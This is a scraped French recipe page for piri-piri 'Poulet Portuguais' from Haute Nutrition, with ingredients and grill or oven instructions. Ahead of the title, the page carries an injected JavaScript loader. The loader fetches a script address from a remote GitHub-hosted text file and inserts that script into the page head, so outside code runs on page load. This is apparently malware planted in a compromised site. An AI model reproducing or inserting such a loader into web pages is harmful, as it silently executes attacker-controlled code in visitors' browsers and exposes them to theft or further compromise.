;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Poulet Portuguais - Haute Nutrition
Go Back

Poulet Portuguais

5 from 3 votes
Print Recipe Pin Recipe
Prep Time 15 mins
Cook Time 1 hr
Total Time 1 hr 15 mins
Course Main Course
Servings 4 portions
Calories 434 kcal

Ingredients
  

  • 2 tsp piri-piri épices piri piri ou sauce piquante au choix
  • 1 tbsp paprika doux (1 c. à soupe)
  • 1 tbsp vinaigre de cidre
  • 1 tsp sel
  • 1 tbsp huile d'olive
  • ¼ tasse citron jus
  • 1.5 kilo poulet biologique

Instructions
 

  • Pré-chauffer le four à 400 F
  • Placer tous les ingrédients, sauf le poulet, dans un robot et bien mélanger. Réserver.
  • Commencer par retirer les morceaux de gras excédentaires du poulet. On peut ensuite procéder à la taille en crapaudine. On coupe à la verticale le long du dos, de chaque côté de la colonne, en partant des ailes. On écrase ensuite la volaille sur elle-même à l'aide des mains. Les cuisses se toucheront lorsqu'on affaissera le poulet.
  • Répartir la marinade sur le poulet, sur toutes les faces. Laisser mariner au froid, couvert, entre 4 et 12 heures (le plus longtemps sera le mieux).
  • Allumer le barbecue pour une cuisson indirecte. Cuire le poulet en cuisson indirecte d'abord, jusqu'à ce qu'un thermomètre inséré dans la cuisse indique 160 °F
    Badigeonner la volaille avec la marinade durant la cuisson. Placer le poulet directement au-dessus de la flamme pour les dernières 5 à 10 minutes.
    Autrement, cuire au four à 400 °F (200 °C). Environ 60 minutes
    jusqu'à ce qu'un thermomètre inséré dans la cuisse indique 160 °F

Notes